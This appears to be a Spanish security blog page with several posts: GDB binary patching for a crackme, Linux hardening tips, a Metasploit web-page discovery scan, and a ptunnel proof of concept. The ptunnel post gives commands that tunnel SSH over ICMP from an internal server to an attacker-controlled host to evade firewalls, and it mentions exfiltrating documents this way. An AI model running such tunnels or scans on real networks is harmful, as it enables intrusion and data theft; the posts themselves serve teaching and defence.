Hace un par de días, durante un reto de seguridad, nos encontramos con la situación de tener que modificar con GDB el código de un binario para que realizara las acciones que nos interesaban y no para las que había sido programado; esto suele usarse en los retos tipo “crack me” o “patch me”. Todo sea dicho, al final no era la solución al reto, pero como todo reto, se suelen probar distintas opciones.

De forma resumida tenemos un programa con la función principal y dos funciones adicionales declaradas. En la función principal se llama solo a una de las dos funciones, en este caso a la función que llamaremos “malo”, pero nosotros necesitábamos que en vez de llamar a esa función llame a la otra función, la que llamaremos “bueno”.

Un ejemplo del código en C sería el siguiente, al que denominaremos “prueba.c”:

#include <stdio.h>
#include <stdlib.h>
// Funciones auxiliares

void bueno(void) { printf("SIIII");}
void malo(void) { printf("Noooo");}

// Función principal que llama a la funcion malo
void main(void){malo();}

Nuestro objetivo era que el programa, en lugar de llamar a la función malo en el main, llamara a la función bueno. Para el reto teníamos únicamente GDB como debugger. Para la entrada usaremos el código anterior por estar más simplificado y resultar más claro.

Teniendo en cuenta que el código anterior se ha escrito en el fichero “prueba.c”, hay que seguir los siguientes pasos para compilar y cargar el binario en GDB:

$ gcc -o prueba prueba.c
$ gdb prueba

Una vez accedido a GDB le indicaremos que queremos usar el formato Intel en vez del AT&T seleccionado por defecto (me gusta más, para gustos colores o sabores):

$ set disassembly-flavor intel

El siguiente paso consistirá en ver el código del programa, teniendo encuenta que las pruebas se hacen sobre un entorno de 64 bits (por eso las direcciones son tan largas):

(gdb) disas main 
Dump of assembler code for function main: 
   0x0000000000400514 <+0>:	push   rbp 
   0x0000000000400515 <+1>:	mov    rbp,rsp
   0x0000000000400518 <+4>:	call   0x4004fc <malo>
   0x000000000040051d <+9>:	pop    rbp 
   0x000000000040051e <+10>:	ret    
End of assembler dump.

Como vemos la llamada a la función malo, mediante CALL, está en posición “0x400518”, la cual apunta a la dirección “0x4004fc” donde se encuentra la primera instrucción de la función malo, tal como se muestra a continuación:

(gdb) disas malo 
Dump of assembler code for function malo: 
   0x00000000004004fc <+0>:	push   rbp 
   ...
   0x0000000000400512 <+22>:	pop    rbp 
   0x0000000000400513 <+23>:	ret    
End of assembler dump. 

El siguiente paso es analizar el tipo de CALL de la función principal (main), identificando el tipo de OP Code de la función; en nuestro caso se mostrarán los 8 bytes a partir del CALL:

(gdb) x/8xb 0x400518 
0x400518 >main +4<:	0xe8	0xdf	0xff	0xff	0xff	0x5d	0xc3	0x90

Vemos que el primer byte es 0xe8, que corresponde con el OP Code del CALL a dirección relativa Call32(). Dicha llamada consta de 5 bytes; el primero es el OPCode representado como “0xe8” identificativo de la llamada y los siguientes 4 bytes es la dirección donde se encuentra la función que se desea llamar. Por tanto para ver correctamente esta instrucción será necesario visualizar solo los 5 primeros bytes:

(gdb) x/5xb 0x400518
0x400518 <main +4>:	0xe8	0xdf	0xff	0xff	0xff

Donde tenemos el Op Code 0xe8 y la dirección “0xdf 0xff 0xf 0xff“. Como este ordenador es un LE hay que darle la vuelta: es decir, la dirección real es ” 0xff 0xff 0xff 0xdf”. Esto se puede realizar cambiando el carácter “b” de byte por el de word “w” e indicando la posición de memoria donde empieza la dirección que se quiere tratar, es decir, la dirección del CALL + 1 (quitamos el OP Code 0xe8):

(gdb) x/xw 0x400519
0x400519 <main +5>:	0xffffffdf

Y la pregunta que se estarán realizando: ¿de dónde sale ese dato? Pues ese dato es el valor negado de la diferencia (offset) entre el final de la llamada del CALL y la función que se quiere llamar:

Not (OFFSET) = pos pre CALL + tam instrucción call - F(x) a saltar

¿Lioso? Veámoslo por partes. Tenemos de offset este valor “0xffffffdf”, con lo que la operación NOT sería:

0xdf -> 1101 1111 (el not de esto) -> 0010 0000 -> 0x20

Por tanto el NOT de “0xffffffdf” es “0x00000020”. Si sabemos que el Call se llama en la posición “0x400518” y el tamaño de la instrucción CALL son 5 bytes, entonces sabemos que la f(x) termina en la posición “0x40051c”; cuidado porque el byte “518” ya es el primer byte del CALL:

F(x) a saltar = pos pre CALL + tam instrucción call - Not (OFFSET)

F(x) a saltar = 0x400518 + 0x4 - 0x20 = 0x40051c - 0x20 = 0x4004FC

Es decir, la posición donde está la función malo que hemos identificado con anterioridad. Ahora queremos modificar el CALL para que apunte a bueno. Para ello es necesario obtener la posición de la función bueno:

(gdb) disas bueno
Dump of assembler code for function bueno: 
   0x00000000004004e4 <+0>:	push   rbp
   ...

Ya sabemos que el último byte de CALL está en la posición “0x40051c”, por tanto:

0x40051c - 0x4004e4 = 0x38

Not de 0x38 = 0xFFFFFFC7, y como es necesario ponerlo en LE -> 0xC7 0xff 0xff 0xff

Si recordamos, en el CALL de la función principal teníamos la siguiente entrada “0xe8 0xdf 0xff 0xff 0xff” la cual apuntaba a malo, y ahora queremos sustituirla por 0xc7 0xff 0xff 0xff: solo necesitamos cambiar el segundo byte del call, es decir 0xdf por 0xc7. O sea, indicarle que el byte “0x400519” valga 0xC7:

(gdb) x/xb 0x400519
0x400519 
:	0xdf 

Para realizar dicha operación es necesario usar “set” indicando que lo que se quiere sustituir es un byte en la posición indicada:

(gdb) set *(unsigned char*) 0x400519 = 0xc7 
Cannot access memory at address 0x400519

Como vemos ha fallado, no tenemos acceso a dicha posición de memoria, hagamos una triquimechuela poniendo un breakpoint en la instrucción previa al call y ejecutando el programa:

(gdb) break 0x0000000000400515 
Function "0x0000000000400515" not defined. 
Make breakpoint pending on future shared library load? (y or [n]) y 
Breakpoint 1 (0x0000000000400515) pending.

Ejecutamos ahora el programa esperando a que se detenga en el break indicado, una instrucción antes del call:

(gdb) start 
Temporary breakpoint 2 at 0x400518 
Starting program: /home/moxilo/prueba

Temporary breakpoint 2, 0x0000000000400518 in main ()
(gdb) disas main
Dump of assembler code for function main: 
   0x0000000000400514 <+0>:	push   rbp 
   0x0000000000400515 <+1>:	mov    rbp,rsp 
=> 0x0000000000400518 <+4>:	call   0x4004fc <malo>
   0x000000000040051d <+9>:	pop    rbp 
   0x000000000040051e <+10>:	ret    
End of assembler dump.

Ahora ya podemos aplicar el cambio y comprobar que la modificación se ha llevado a cabo al apuntar el call a la función bueno en vez de a la función malo:

(gdb) set *(unsigned char*) 0x400519 = 0xc7
(gdb) disas main 
Dump of assembler code for function main: 
   0x0000000000400514 <+0>:	push   rbp 
   0x0000000000400515 <+1>:	mov    rbp,rsp 
=> 0x0000000000400518 <+4>:	call   0x4004e4 <bueno> 
   0x000000000040051d <+9>:	pop    rbp 
   0x000000000040051e <+10>:	ret    

End of assembler dump.

Como vemos ya apuntamos a la función bueno, por lo que si le decimos que “continue” mostrará el texto de la función buena (“SIIII”) y no el de la función mala:

(gdb) continue 
Continuing. 
SIIII[Inferior 1 (process 3897) exited with code 05]

Por tanto hemos parcheado el programa en ejecución con GDB, de tal forma que hemos obtenido la dirección de memoria de otra función, sustituyendo posteriormente la dirección de la llamada CALL por la de la función que nos ha interesado. Esto también se puede usar para sustituir instrucciones de códio que realizan ciertas comprobaciones que no nos interesa por NOPs (0x90), es decir, por “nada”.

Una de las tareas comunes que deben aplicarse a un servidor que va a pasar a producción es fortalecer la seguridad que lleva por defecto el sistema. A esto se le llama bastionar o securizar. Como son muchos aspectos los que hay que tener en cuenta para llevar a cabo esta labor, he querido hacer un recopilatorio de las principales tareas de bastionado en Linux.

Los siguientes puntos se van a centrar únicamente en la seguridad de la máquina, sin extenderse en los elementos externos que se pueden utilizar para securizar el equipo, como NIDS, IPS, firewalls, auditorías periódicas o cañones de fotones.

• Software siempre actualizado. Imprescindible mantener el sistema siempre a la última en parches de seguridad. No hacerlo es el método más sencillo para que te vulneren o tumben el equipo. La mayoría de malware actual se basa en vulnerabilidades conocidas de un servicio o aplicación para infectar la máquina.
• Configuración deficiente de las aplicaciones. De nada serviría un servidor altamente bastionado si uno de los servicios disponibles tiene una configuración que permita a un atacante vulnerar su seguridad. Como es imposible abarcar todo lo que esta implicación supondría, enumeraré algunas indicaciones generales, aplicables a la mayoría de aplicaciones:

[Read more…]

Hoy me gustaría presentaros un módulo de Metasploit que he descubierto hace poco tiempo. Se llama Page collector y ha sido desarrollado por Spencer McIntyre. El módulo en concreto nos ayuda a descubrir páginas web de un rango de ips y nos las muestra de forma gráfica. Vamos a plantear un posible escenario en el nos resultaría útil este módulo: Estamos realizando un pentest de una red corporativa que tiene un rango 192.168.0.0/24 y nos interesa conocer rápidamente, si existen interfaces de administración (phpMyAdmin, páginas de login por defecto, consolas JBoss…).

La instalación del módulo es muy sencilla y funciona out-of-the-box en una metasploit4:

dlladro@bt:/# wget http://www.securestate.com/Documents/page_collector.rb
dlladro@bt:/# cp page_collector.rb /opt/metasploit/modules/auxiliary/scanner/http/

Su uso también es muy sencillo. Para un uso básico (si no, show options ;), no tenemos más que cargar el módulo, fijar la variable RHOST y lanzarlo. Aquí hay un ejemplo de cómo funcionaría el módulo:

msf > use auxiliary/scanner/http/page_collector
msf auxiliary(page_collector) > show options

Module options (auxiliary/scanner/http/page_collector):

Name Current Setting Required Description
---- --------------- -------- -----------
LPATH /root/report.html yes The local filename to store the html file
PORTS 80,443,8080,8443 yes Ports to scan (e.g. 22-25,80,110-900)
Proxies no Use a proxy chain
RHOSTS yes The target address range or CIDR identifier
THREADS 1 yes The number of concurrent threads
VHOST no HTTP server virtual host

msf auxiliary(page_collector) > set RHOSTS 192.168.0.0/24
RHOSTS => 192.168.0.0/24
msf auxiliary(page_collector) > exploit

[*] Starting HTTP Page Collector
[+] Found HTTP On Server: http://192.168.0.1:80/
[+] Found HTTPS On Server: https://192.168.0.1:443/
[*] Found Invalid SSL Cert: IP:192.168.0.1 CN:maquina-1
[+] Found HTTP On Server: http://192.168.0.1:8080/
[+] Found HTTP On Server: http://192.168.0.14:80/
[+] Found HTTPS On Server: https://192.168.0.24:443/
[*] Found Invalid SSL Cert: IP:192.168.0.24 CN:maquina-2
[*] Scanned 026 of 256 hosts (010% complete)
[+] Found HTTP On Server: http://192.168.0.34:80/
[+] Found HTTP On Server: http://192.168.0.36:80/
[+] Found HTTP On Server: http://192.168.0.43:80/
[+] Found HTTP On Server: http://192.168.0.43:8080/
[+] Found HTTPS On Server: https://192.168.0.44:443/
[*] Found Invalid SSL Cert: IP:192.168.0.44 CN:maquina-3
[+] Found HTTP On Server: http://192.168.0.48:80/
[*] Scanned 052 of 256 hosts (020% complete)

Una vez terminado el escaneo, se han guardado los resultados en el archivo /root/report.html; si lo abrimos, veríamos algo parecido a lo siguiente:

En los resultados anteriores se muestran los servicios HTTP/HTTPS encontrados, dentro de un iframe, con lo que ganamos bastante en comodidad para analizar, por ejemplo, usuarios triviales o por defecto en estos servicios…

Espero que este módulo os sea tan útil como a mí. ¡Un saludo!

En este post vamos a hablar acerca de una vulnerabilidad descubierta por el equipo de CSIRT-cv y publicada ayer, como podéis ver en su página de alertas. La aplicación afectada es JasperServer, un servidor para generación de informes, análisis de datos y Business Intelligence ampliamente utilizado, y que tiene una versión de código abierto, que es la que se ha demostrado vulnerable.

Durante un test de seguridad realizado a la versión 3.7.0 CE, se detectó que, además de los parámetros necesarios para ubicar al usuario en la aplicación, había un parámetro llamado _flowExecutionKey que iba cambiando cada cierto tiempo, probablemente para controlar el flujo del usuario dentro de la aplicación. A continuación se puede ver un ejemplo de petición válida en el sistema:

[Read more…]

La arquitectura de una red empresarial requiere un diseño que permita la separación entre los usuarios, servidores internos y los servidores perimetrales o DMZ. Un diseño básico inicial consiste en un cortafuegos principal que separa el tráfico que va a la red perimetral del que va al resto de redes, existiendo un segundo cortafuegos de distinto fabricante en la entrada de la red de servidores internos, y entre ambos el servidor de VPN. Un esquema resumido sería el siguiente:

Un diseño de red como el expuesto suele acarrear una mayor dificultad a la hora de obtener ventaja de vulnerabilidades existentes en la DMZ, así como, para saltarse las restricciones de acceso a internet por parte de los usuarios (y por tanto de los empleados) sin pasar por el proxy web con filtrado de acceso y contenidos.

Por desgracia algunos administradores de redes cometen el fallo de no filtrar el tráfico ICMP, especialmente el “ping”, tanto desde la red DMZ como a los usuarios, e incluso permitir el tráfico ICMP en servidores internos. Pero sí en cambio filtran el tráfico UDP y TCP. Debido a este fallo de configuración, muy común por desgracia, un atacante podría emplear canales encubiertos en protocolo ICMP para realizar conexiones inversas o saltarse las restricciones y políticas de seguridad de la empresa.

Como prueba de concepto se va a emplear la herramienta ptunnel. Esta herramienta crea dos túneles o canales; el primero se crea entre el cliente y el proxy ptunnel empleando únicamente el tráfico ICMP, mientras que el segundo se produce entre el destino real y el proxy, empleando para ello el protocolo legítimo.

Comencemos descargándonos la herramienta, actualmente en su versión 0.7. Una vez descargada descomprimiremos el código fuente y lo analizaremos para comprobar que no contiene código malicioso (como lo hacemos siempre, ¿verdad?…). El siguiente paso será instalar las libpcap-dev y compilarlo creando el binario “ptunnel”. Por ejemplo, para Debian o Ubuntu sería necesario seguir los siguientes pasos:

# tar xvfz PingTunnel-0.70.tar.gz
# cd PingTunnel-0.70/
# apt-get install libpcap-dev
# make

Una vez disponemos de la herramienta comenzaremos con la simulación, donde se conectará por SSH a un servidor mediante el empleo de canales encubiertos ICMP desde un servidor de la red interna, el cual solo permite como tráfico saliente el “ping” y conexiones previamente establecidas.

En la prueba el atacante hace una conexión SSH al servidor que controla, pero perfectamente podría haber realizado una copia cifrada de la documentación de la empresa usando el mismo puerto SSH mediante “scp”. Recuerden que esto es una prueba de concepto cuyo objetivo es mostrar que se puede hacer, pero no dar consejos a los atacantes de lo que deberían hacer.

El servidor interno será la IP 192.168.2.104 y el equipo que controla el atacante será la IP 192.168.2.105, que podría haberse tratado de un equipo en Internet, el cual dispone de un servicio SSH y un proxy ptunnel.

Las órdenes necesarias son:
Servidor del atacante:
# ./ptunnel -x patata

Servidor víctima red interna:
# ./ptunnel -p 192.168.2.105 -lp 80 -da 192.168.2.105 -dp 22 -x patata
# ssh localhost -p 80

Tal como podemos ver en la siguiente imagen, donde se aprecian dos consolas del servidor interno. La superior representa el túnel ICMP hacia la ip 192.168.2.105, cuya conexión real es el puerto 22 del mismo equipo. La consola inferior representa la conexión SSH hacia la máquina del atacante:

Y éste es el registro que nos muestra el proxy ptunnel del servidor del atacante:

Para finalizar mostraremos una traza con Wireshark donde el servidor interno 192.168.2.104 establece un túnel de tráfico ICMP con el servidor 192.168.2.105 para conectarse a una web de Internet cuya IP es 209.8XX.XXX.XXX; para ello empleamos la siguiente orden:


# ./ptunnel -p 192.168.2.105 -lp 33 -da 209.8XX.XXX.XXX -dp 80 -x patata

Como vemos entre el servidor interno y el proxy ptunnel solo hay paquetes ICMP de tipo request y reply, es decir, un “ping”. Por tanto un atacante podría conectarse y permitir conexiones inversas hacia los servidores de red interna mediante paquetes ICMP. Por este y otros motivos, es muy importante que no únicamente se le preste atención a los protocolos UDP y TCP en los cortafuegos, sino también a ICMP.